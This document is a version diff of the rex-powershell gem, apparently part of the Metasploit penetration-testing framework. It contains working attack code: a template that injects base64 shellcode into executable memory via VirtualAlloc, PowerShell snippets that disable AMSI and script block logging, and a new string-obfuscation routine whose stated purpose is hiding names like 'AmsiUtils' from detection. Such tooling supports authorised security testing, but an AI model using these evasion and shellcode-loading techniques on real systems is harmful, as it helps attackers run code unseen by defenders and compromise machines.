rex-powershell 0.1.90 → 0.1.91

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 0a33516521ac7e860fca2bc66ae38f9859cac0588b657c8ffbe2e5ce8120adde
-  data.tar.gz: 222e5ad9199ac80d8c8ec1b88d9504550f89b8811bc36dfc5df9bd34f3c7f329
+  metadata.gz: 03fb4a7843aafdad4a8a05217105768f959653f7b15c00273398afea46497385
+  data.tar.gz: 49fe72538e0fa7acc8a9f418cac9905d65e4fbf61e5b2b36cca4df6fbb20eee5
 SHA512:
-  metadata.gz: 2d048a4d9875adff24b0a7168813918bfa36914130fb41df3666242f2553571b9afe0befac3daa3117f557f0881289e0ec21ceefe2b11922315747a73b6613ff
-  data.tar.gz: df1b2109a3ffb337e5691f1a517ee08a99cb335c7b916c820a62e8caef91437a4c6815ad02bb7910daebb05a010acd51c79cc7ce101c7ab617577b9d4d1165ac
+  metadata.gz: 846f848e693acefa04b7850a983bfd52bccddc422d9454787fc241fc41323f55747f51d7707632fdca78376219ba7adee55c885b87b5d466376c95e1d5cf9993
+  data.tar.gz: e164850d612b3b32d98c5b620ef842f5ede29a86d5d5db0e0a8aa339aa471e01715a670be1ee75fa0223a823772df59ff16a05374ab06c0bfecb90f3d511a312

data/data/templates/to_mem_pshreflection.ps1.template

@@ -1,7 +1,7 @@
 function %{func_get_proc_address} {
-	Param ($%{var_module}, $%{var_procedure})		
+	Param ($%{var_module}, $%{var_procedure})
 	$%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
-	
+
 	return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
 }
 
@@ -10,16 +10,16 @@ function %{func_get_delegate_type} {
 		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
 		[Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
 	)
-	
+
 	$%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
 	$%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
 	$%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
-	
+
 	return $%{var_type_builder}.CreateType()
 }
 
 [Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
-		
+
 $%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40)
 [System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
 

data/data/templates/to_mem_rc4.ps1.template

@@ -1,7 +1,7 @@
 function %{func_rc4_decrypt} {
     param([Byte[]]$%{var_rc4buffer})
 
-	$%{var_key} = ([system.Text.Encoding]::UTF8).GetBytes("%{random_key}")
+    $%{var_key} = ([system.Text.Encoding]::UTF8).GetBytes("%{random_key}")
 
     $s = New-Object Byte[] 256;
     $k = New-Object Byte[] 256;

data/lib/rex/powershell/command.rb

@@ -268,6 +268,12 @@ EOS
   # @param opts [Hash] The options to generate the command
   # @option opts [Boolean] :persist Loop the payload to cause
   #   re-execution if the shellcode finishes
+  # @option opts [String] :prepend A stub of Powershell code to prepend to the
+  #   payload.
+  # @option opts [String] :prepend_inner A stub of Powershell code to prepend to
+  #  the inner payload.
+  # @option opts [Boolean] :prepend_protections_bypass Prepend a stub that
+  #   bypasses Powershell protections.
   # @option opts [Integer] :prepend_sleep Sleep for the specified time
   #   before executing the payload
   # @option opts [String] :method The powershell injection technique to
@@ -306,9 +312,15 @@ EOS
       else
         fail RuntimeError, 'No Powershell method specified'
     end
+
     if opts[:exec_rc4]
       psh_payload = Rex::Powershell::Payload.to_win32pe_psh_rc4(template_path, psh_payload)
     end
+
+    if opts[:prepend_inner]
+      psh_payload = opts[:prepend_inner] << (opts[:prepend_inner].end_with?(';') ? '' : ';') << psh_payload
+    end
+
     # Run our payload in a while loop
     if opts[:persist]
       fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
@@ -324,12 +336,6 @@ EOS
     end
 
     compressed_payload = compress_script(psh_payload, nil, opts)
-
-    if opts[:prepend_protections_bypass]
-      bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
-      compressed_payload = bypass_amsi + ";" + compressed_payload
-    end
-
     encoded_payload = encode_script(psh_payload, opts)
 
     # This branch is probably never taken...
@@ -352,6 +358,15 @@ EOS
       end
     end
 
+    if opts[:prepend_protections_bypass]
+      bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
+      smallest_payload = bypass_amsi + ";" + smallest_payload
+    end
+
+    if opts[:prepend]
+      smallest_payload = opts[:prepend] << (opts[:prepend].end_with?(';') ? '' : ';') << smallest_payload
+    end
+
     if opts[:exec_in_place]
       final_payload = smallest_payload
     else
@@ -362,8 +377,8 @@ EOS
     end
 
     command_args = {
-        noprofile: true,
-        windowstyle: 'hidden'
+      noprofile: true,
+      windowstyle: 'hidden'
     }.merge(opts)
 
     if opts[:encode_final_payload]

data/lib/rex/powershell/obfu.rb

@@ -12,6 +12,92 @@ module Powershell
     WHITESPACE_REGEX = Regexp.new(/\s+/)
     EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/)
 
+    #
+    # Obfuscate a Powershell literal string value. The character set of the string is limited to alpha-numeric
+    # characters and some punctuation. This routine will use a combination of of techniques including formatting and
+    # concatenation. The result is an expression that can either be passed to a function or assigned to a variable.
+    #
+    # @param [String] string The string value to obfuscate.
+    # @param [Float] threshold A floating point value between 0 and 1 that controls how much of the string is
+    #   obfuscated. Higher values result in more obfuscation while 0 returns the original string without any
+    #   obfuscation.
+    # @return [String] An obfuscated Powershell expression that evaluates to the specified string.
+    def self.scate_string_literal(string, threshold: 0.15)
+      # this hasn't been thoroughly tested for strings that contain alot of punctuation, just simple ones like
+      # 'AmsiUtils', the most important characters that are assumed to be missing are quotes and braces
+      raise ArgumentError.new('string contains an unsupported character') if string =~ /[^a-zA-Z0-9,+=\.\/]/
+      raise ArgumentError.new('threshold must be between 0 and 1') unless threshold.between?(0, 1)
+
+      new = original = string
+      occurrences = {}
+      original.each_char { |char|
+        occurrences[char] = 0 unless occurrences.key?(char)
+        occurrences[char] += 1
+      }
+      char_map = occurrences.group_by { |k,v| v }.sort_by { |k,v| -k }.map { |k,v| v.shuffle }.flatten(1)
+
+      # phase 1
+      format = []
+      char_subs = 0.0
+      while (char_subs / original.length.to_f) < threshold
+        orig_char, occurrence_count = char_map.pop
+        new = new.gsub(/(?<!\{)#{Regexp.escape(orig_char)}(?!\})/, "{#{format.length}}")
+        format << "'#{orig_char}'"
+        char_subs += occurrence_count
+      end
+
+      # phase 2
+      concat = "'+'"
+      positions = threshold > 0 ? (0..new.length).to_a.shuffle[0..(new.length * threshold)] : []
+      positions.sort!
+      positions.each_with_index do |position, index|
+        new = new.insert(position + (index * concat.length), concat)
+      end
+
+      new = "'#{new}'"
+      new = "(#{new})" unless threshold == 0
+
+      final = new
+      final << "-f#{format.join(',')}" unless format.empty?
+      final = "(#{final})" unless format.empty? && threshold == 0
+      final
+    end
+
+    #
+    # Deobfuscate a Powershell literal string value that was previously obfuscated by #scate_string_literal.
+    #
+    # @param [String] string The obfuscated Powershell expression to deobfuscate.
+    # @raises [RuntimeError] If the string can not be deobfuscated, for example because it was randomized using a
+    #   different routine, then an exception is raised.
+    # @return [String] The string literal value.
+    def self.descate_string_literal(string)
+      string = string.strip
+      nest_level = [string.match(/^(\(*)/)[0].length, string.match(/(\)*)$/)[0].length].min
+      string = string[nest_level...-nest_level].strip if nest_level > 0
+      format_args = nil
+      if (string =~ /\((?>[^)(]+|\g<0>)*\)/) == 0
+        format = Regexp.last_match(0)
+        format_args = string[format.length..-1].strip
+        unless format_args =~ /-f\s*('.',\s*)*('.')/
+          raise RuntimeError.new('The obfuscated string structure is unsupported')
+        end
+        format_args = format_args[2..-1].strip.scan(/'(.)'/).map { |match| match[0] }
+        string = format[1...-1].strip
+      end
+
+      unless string =~ /^'.*'$/
+        raise RuntimeError.new('The obfuscated string structure is unsupported')
+      end
+      string = string.gsub(/'\s*\+\s*'/, '') # process all concatenation operations
+      unless format_args.nil? # process all format string operations
+        string = string.gsub(/\{\s*\d+\s*\}/) do |index|
+          format_args[index[1...-1].to_i]
+        end
+      end
+
+      string[1...-1]
+    end
+
     #
     # Remove comments
     #
@@ -45,6 +131,7 @@ module Powershell
     # @return [String] code with whitespace stripped
     def strip_whitespace
       code.gsub!(WHITESPACE_REGEX, ' ')
+      code.strip!
 
       code
     end

data/lib/rex/powershell/output.rb

@@ -50,10 +50,11 @@ module Powershell
       # Base64 encode the compressed file contents
       encoded_stream = Rex::Text.encode_base64(compressed_stream)
 
+
       # Build the powershell expression
       # Decode base64 encoded command and create a stream object
       psh_expression =  "$s=New-Object System.IO.MemoryStream(,"
-      psh_expression << "[System.Convert]::FromBase64String('#{encoded_stream}'));"
+      psh_expression << "[System.Convert]::FromBase64String(#{Obfu.scate_string_literal(encoded_stream, threshold: 0.01)}));"
       # Read & delete the first two bytes due to incompatibility with MS
       psh_expression << '$s.ReadByte();'
       psh_expression << '$s.ReadByte();'
@@ -109,7 +110,7 @@ module Powershell
       # GzipStream operates on the Memory Stream
       psh_expression << '(New-Object System.IO.MemoryStream(,'
       # MemoryStream consists of base64 encoded compressed data
-      psh_expression << "[System.Convert]::FromBase64String('#{encoded_stream}')))"
+      psh_expression << "[System.Convert]::FromBase64String(#{Obfu.scate_string_literal(encoded_stream, threshold: 0.01)})))"
       # Set the GzipStream to decompress its MemoryStream contents
       psh_expression << ',[System.IO.Compression.CompressionMode]::Decompress)'
       # Read the decoded, decompressed result into scriptblock contents
@@ -139,8 +140,15 @@ module Powershell
     #
     # @return [String] Decompressed powershell code
     def decompress_code
-      # Extract substring with payload
-      encoded_stream = @code.scan(/FromBase64String\('(.*)'/).flatten.first
+      # Extract substring with payload4
+      if @code =~ /FromBase64String\('([a-zA-z0-9\+\/=]*)'\)/
+        encoded_stream = Regexp.last_match(1)
+      elsif @code =~ /FromBase64String(\((?>[^)(]+|\g<1>)*\))/
+        encoded_stream = Obfu.descate_string_literal(Regexp.last_match(1))
+      else
+        raise RuntimeError, 'Failed to identify the base64 data'
+      end
+
       # Decode and decompress the string
       unencoded = Rex::Text.decode_base64(encoded_stream)
       begin

data/lib/rex/powershell/psh_methods.rb

@@ -90,10 +90,13 @@ module Powershell
     #
     # @return [String] PowerShell code to bypass AMSI
     def self.bypass_amsi()
-      %q{
-        $Ref=[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils');
-        $Ref.GetField('amsiIn'+'itFailed','NonPublic,Static').SetValue($null,$true);
-      }
+      script = Script.new(<<-PSH
+        $Ref=[Ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.AmsiUtils')});
+        $Ref.GetField(#{Obfu.scate_string_literal('amsiInitFailed')},'NonPublic,Static').SetValue($null,$true);
+        PSH
+      )
+      script.sub_vars
+      script
     end
 
     #
@@ -101,22 +104,28 @@ module Powershell
     #
     # @return [String] PowerShell code to bypass Script Block Logging
     def self.bypass_script_log()
-      %q{
-        $GPF=[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','N'+'onPublic,Static');
-        If($GPF){
+      script = Script.new(<<-PSH
+        $GPF=[ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.Utils')}).GetField(#{Obfu.scate_string_literal('cachedGroupPolicySettings')},'NonPublic,Static');
+        If ($GPF) {
+            $SBL=#{Obfu.scate_string_literal('ScriptBlockLogging')};
+            $EnableSBL=#{Obfu.scate_string_literal('EnableScriptBlockLogging')};
+            $EnableSBIL=#{Obfu.scate_string_literal('EnableScriptBlockInvocationLogging')};
             $GPC=$GPF.GetValue($null);
-            If($GPC['ScriptB'+'lockLogging']){
-                $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
-                $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockInvocationLogging']=0
+            If($GPC[$SBL]){
+                $GPC[$SBL][$EnableSBL]=0;
+                $GPC[$SBL][$EnableSBIL]=0;
             }
             $val=[Collections.Generic.Dictionary[string,System.Object]]::new();
-            $val.Add('EnableScriptB'+'lockLogging',0);
-            $val.Add('EnableScriptB'+'lockInvocationLogging',0);
-            $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$val
+            $val.Add($EnableSBL,0);
+            $val.Add($EnableSBIL,0);
+            $GPC['HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\'+$SBL]=$val;
         } Else {
-            [ScriptBlock].GetField('signatures','N'+'onPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]))
+            [ScriptBlock].GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]));
         }
-      }
+        PSH
+      )
+      script.sub_vars
+      script
     end
 
     #

data/lib/rex/powershell/version.rb

@@ -1,5 +1,5 @@
 module Rex
   module Powershell
-    VERSION = "0.1.90"
+    VERSION = "0.1.91"
   end
 end

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: rex-powershell
 version: !ruby/object:Gem::Version
-  version: 0.1.90
+  version: 0.1.91
 platform: ruby
 authors:
 - Metasploit Hackers
@@ -93,7 +93,7 @@ cert_chain:
   EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
   9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
   -----END CERTIFICATE-----
-date: 2021-04-23 00:00:00.000000000 Z
+date: 2021-07-09 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: rake